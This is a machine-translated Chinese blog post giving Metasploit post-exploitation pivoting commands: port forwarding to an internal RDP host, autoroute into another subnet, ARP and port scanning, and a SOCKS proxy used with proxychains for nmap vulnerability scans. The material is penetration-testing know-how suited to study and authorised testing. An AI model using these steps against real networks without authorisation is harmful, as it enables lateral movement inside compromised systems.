当前位置:网站首页>MSF horizontal MSF port forwarding + routing table +socks5+proxychains
MSF horizontal MSF port forwarding + routing table +socks5+proxychains
2022-07-06 17:58:00 【West Lake first sword】
MSF Some operations of post infiltration
Port forwarding
meterpreter > portfwd add -l 2222 -r 172.16.1.156 -p 3389 # Put the target machine 172.16.1.156 Of 3389 Port forwarding to local 2222 port
meterpreter > portfwd list # View the forwarding list
meterpreter > portfwd flush # Clear the forwarding list
rdesktop 127.0.0.1:2222 #kali Remote desktop use 2222 port
Add route , Lateral penetration ( Cross segment attack )
run autoroute -s 172.16.2.0/24 # Add to target environment network
run autoroute –p # View added routes
route print # Print route
run post/windows/gather/arp_scanner RHOSTS=172.16.2.0/24 # Scan the whole segment
run auxiliary/scanner/portscan/tcp RHOSTS=172.16.2.11 PORTS=3389 # Check IP Whether open 3389
utilize arp Scan intranet hosts
use post/windows/gather/arp_scanner
set rhosts 172.16.2.0/24
set session 1
exploit
Socks Agency
New version of the msf Different from the old version , The agent module is also different .
auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvport 7777
srvport => 7777
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
To configure proxychains
Use agent software to connect established socks Tunnel , You can successfully access the intranet .
vi /etc/proxychains.conf # add to socks5 127.0.0.1 7777
proxychains+nmap Scan the host for vulnerabilities
proxychains nmap -sT -Pn -p445 --script=vuln 192.168.52.141
proxychains Use msf frame
proxychains msfconsole
边栏推荐
- 微信小程序中给event对象传递数据
- EasyCVR平台通过接口编辑通道出现报错“ID不能为空”,是什么原因?
- 编译原理——自上而下分析与递归下降分析构造(笔记)
- IP, subnet mask, gateway, default gateway
- 微信小程序获取手机号
- 关于这次通信故障,我想多说几句…
- Summary of Android interview questions of Dachang in 2022 (I) (including answers)
- 重磅硬核 | 一文聊透对象在 JVM 中的内存布局,以及内存对齐和压缩指针的原理及应用
- RepPoints:可形变卷积的进阶
- The solution that flutterweb browser cannot be rolled back after refreshing
猜你喜欢
Unity粒子特效系列-闪星星的宝箱
After entering Alibaba for the interview and returning with a salary of 35K, I summarized an interview question of Alibaba test engineer
分布式不来点网关都说不过去
10 advanced concepts that must be understood in learning SQL
李书福为何要亲自挂帅造手机?
IP, subnet mask, gateway, default gateway
It doesn't make sense without a distributed gateway
SQL statement optimization, order by desc speed optimization
视频融合云平台EasyCVR增加多级分组,可灵活管理接入设备
【MySQL入门】第三话 · MySQL中常见的数据类型
随机推荐
在一台服务器上部署多个EasyCVR出现报错“Press any to exit”,如何解决?
Interview assault 63: how to remove duplication in MySQL?
Debug xv6
How to submit data through post
Pytest learning ----- pytest operation mode and pre post packaging of interface automation testing
TCP packet sticking problem
EasyCVR接入设备开启音频后,视频无法正常播放是什么原因?
node の SQLite
Interview shock 62: what are the precautions for group by?
Appium automated test scroll and drag_ and_ Drop slides according to element position
OliveTin能在网页上安全运行shell命令(上)
Solid principle
面试突击62:group by 有哪些注意事项?
《ASP.NET Core 6框架揭秘》样章发布[200页/5章]
OpenCV中如何使用滚动条动态调整参数
Zen integration nails, bugs, needs, etc. are reminded by nails
How to use scroll bars to dynamically adjust parameters in opencv
带你穿越古罗马,元宇宙巴士来啦 #Invisible Cities
面试突击62:group by 有哪些注意事项?
远程代码执行渗透测试——B模块测试